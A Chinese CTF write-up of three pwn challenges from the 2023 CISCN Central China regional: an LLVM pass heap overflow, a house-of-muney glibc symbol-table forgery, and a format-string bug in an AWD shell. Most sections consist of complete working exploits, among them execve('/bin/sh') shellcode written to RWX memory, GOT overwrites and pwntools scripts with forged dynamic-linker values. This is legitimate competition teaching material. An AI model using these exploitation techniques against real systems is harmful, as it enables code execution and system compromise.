2023CISCN—华中赛区 pwn 题解

新闻资讯 2023-07-19 18:00 67 0

一

llvm

之前写过几篇llvm的分析和题解，感觉这次ciscn还得出llvm，不过这个llvm相对之前的还是比较简单的，漏洞点也是白给，利用也较为简单。(这里我用的是ubuntu20。)

程序分析

先简单贴一下程序大致流程。

Add函数

Del函数

Edit函数

Alloc函数

EditAlloc函数

代码大概就是这样，刚开始做的时候已经把一些llvm函数忘得差不多了，又看winmt的博客补了一下。

add函数：申请一个堆块

del函数：释放一个堆块

edit函数：对一个堆块进行edit，存在溢出

alloc函数：申请一块rwx内存，地址0x10000

editalloc函数：像0x10000内存写入一个堆地址存放的数据指向的地址（感觉没啥用）

漏洞利用

1.申请几个连续的大小相同的堆块，释放中间两个，修改上边的堆块的fd指针为0x10000。

2.申请两个堆块，其中第二个堆块指向0x10000，调用alloc函数将0x10000设置为rwx，向其中写入shellcode的字节码，注意顺序即可。

3.再释放两个相邻堆块，改堆块fd为free_got，申请回free_got，将其改为0x10000。

4.退出llvm.so时执行free函数，执行我们的shellcode来get shell。

几个注意点

1、我在做这个题的时候，刚开始用clang-15编译，然后用opt-10执行一直报错，这里clang应该与opt的版本对应，太久没看过llvm了。

2、在程序执行的时候，首先跑llvm.so，在跑完退出时会调用opt里的函数，这里opt是没有开pie的，所以改opt里的free_got函数。

exp

#include<stdio.h>
int Add(int size){
 
}
 
int Del(int index){
 
}
int Edit(int index,int offset,int content){
 
}
 
int Alloc(){
 
}
int EditAlloc(int index,int offset){
 
}
int Hello(){
 
    Add(0x1000);//0
    Add(0x1000);//1
    Add(0x1000);//2
//\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
    Add(176);//3
    Add(176);//4
    Add(176);//5
    Add(176);//6
 
    Add(176);//7
    Add(176);//8
    Add(176);//9
    Add(176);//10
    Del(5);
    Del(4);
    Edit(3,48,65536);
    Alloc();
    Add(176);//4
    Add(176);//5-->0x10000
    Edit(5,0,0x56f63148);  
    Edit(5,1,0x622fbf48);  
    Edit(5,2,0x2f2f6e69);  
    Edit(5,3,0x54576873);  
    Edit(5,4,0x583b6a5f);  
    Edit(5,5,0x050f99);  
    // Edit(5,5,0x050f99); 
    Del(9);
    Del(8);
    Edit(7,48,0x78b108);
    Add(176);//8
    Add(176);//9--->free_got
    Edit(9,0,0x10000);
    Edit(9,1,0);
 
 
    return 0;
    
}

调试

其实我感觉llvm难点就是调试，这里首先给出几个命令。

test.c编译为test.ll

/usr/bin/clang-10 -emit-llvm -S test.c -o test.ll

gdb动态调试

gdb opt-10
set args -load ./LLVMHello.so -Hello ./test.ll
b main
r

首先跑完一大堆的llvm函数，然后用llvm.so加偏移下断点。

这里我直接用exp跑。

Alloc函数执行。

将shellcode写入0x10000。

链入free_got。

修改free_got为0x10000。

执行exit。

跑掉一大堆其他plt，进入free_plt。

成功执行shellcode。

二

muney

程序分析

前边一大堆的逆向，需要知道http数据包如何构造，这个跟上海磐石杯那个hp题挺像的，具体逆向不再分析，主要说一下house of muney这个方法。

利用手法

当堆管理器分配超大内存时，会调用mmap函数申请内存，申请的内存一般位于libc.so.6内存的低地址处。如果可以修改mmap申请的这段内存的size，那么我们再次申请回来就可以覆盖掉libc.so.6的符号表，哈希表等空间并进行改写伪造，在解析函数实际地址的时候就能控制其解析为任意地址，进而控制程序执行流。

这里先给出exp再进行说明：

exp

from pwn import *
context.log_level='debug'
r=process('./muney')
elf=ELF('./muney')
libc=elf.libc
 
def add(size,cont):
    payload='POST /create HTTP/1.0 \nSize:'+str(size)+"\n"+'Content-Length:'+str(len(cont))+'\n\r\n'+cont
    r.sendafter("HTTP_Parser> ",payload)
 
def delete(idx):
    payload='POST /delete HTTP/1.0 \nIdx:' + str(idx)+"\n"+"Content-Length:16" + '\n\r\n' + 'a'*16
    r.sendafter("HTTP_Parser> ",payload)
 
 
def edit(idx,offset,cont):
    payload=b'POST /edit HTTP/1.0 \nIdx:' + str(idx).encode() +b'\n'+b'Offset:'+str(offset).encode()+b'\n'+b"Content-Length:"+str(len(cont)).encode()+b'\n\r\n'+cont     
    r.sendafter("HTTP_Parser> ",payload)
 
def quit(cont):
    payload='POST /quit HTTP/1.0 \n'+'Content-Length:'+str(len(cont))+'\n\r\n'+cont
    r.sendafter("HTTP_Parser> ",payload)
 
add(0x150000,'a'*16)
edit(0,-8,b'\x02\x10\x17')
delete(0)
add(0x171002,'a'*16)
edit(0,0x152b78,p64(0xaaa101010210130e))
edit(0,0x152ca0,p8(0x86))
edit(0,0x153d6c,p64(0x7c967e3e7c93f2a0))
edit(0,0x156d18-0x8,b"\x90\x22\x05")
edit(0,0x156d18-0x10,b"\xbd\xa1\x1a")
edit(0,0x156d18-0x10+4,b"\x12")
edit(0,0x156d18-0x10+6,b"\xf0")
gdb.attach(r)
quit('a'*16)
r.interactive()

调试

house of muney的关键在于伪造几个值：

bitmask_word
bucket
hasharr
target symbol ->st_value

调试一下看看这几个值在哪里（注意这里需要用到glibc源码调试，这里使用2.31）。

需要先跑过一次while(++i < n）

当源码走到这里时，记录一下bitmask_word的值。

走到这里，查看一下bucket的值。

走到这里查看一下hasharr。

走到这里会有sym符号表结构的一些值。

这里需要将st_name改成strtab与exit的偏移，st_value改成system的st_value。

编写一个c程序执行system看一下值（这个c程序不能开pie和full relro）。

是0x52290 。

再来找一下st_name，这里有几个可以选择，试试哪个通就行。

全部找到后就可以edit伪造了。

最后执行exit("/bin/sh");就能get shell。

三

AWD

程序分析

在main函数中有一个跳转，看一下off_5060位置。

可以看到我们输入的shell命令不同，会跳转到不同函数，这跟初赛的shellwego类似。

漏洞点位于echo里的格式化字符串漏洞。

由于该shell是循环输入，所以可以循环利用这个格式化字符串漏洞泄露libc和stack，然后劫持libc_start_main为onegadget即可。

exp

from pwn import *
context.log_level='debug'
r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc
 
def shell(payload):
    r.sendlineafter("$ \x1B[0m",payload)
 
# gdb.attach(r)
shell("echo %29$p a")
libc_base=int(r.recv(14),16)-243-libc.sym['__libc_start_main']
print("libc_base------------->",hex(libc_base))
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
ogg=libc_base+one_gadget[2]
shell("echo %12$p b")
stack=int(r.recv(14),16)
print("stack-------------->",hex(stack))
libc_start_main=stack+0x38
 
shell("echo %"+str(libc_start_main&0xffff)+'c%31$hn c')
shell("echo %"+str(ogg&0xffff)+"c%59$hn d")
shell("echo %"+str(libc_start_main+2&0xffff)+'c%31$hn e')
shell("echo %"+str((ogg>>16)&0xffff)+"c%59$hn f")
shell("KingKi1L3r")
r.interactive()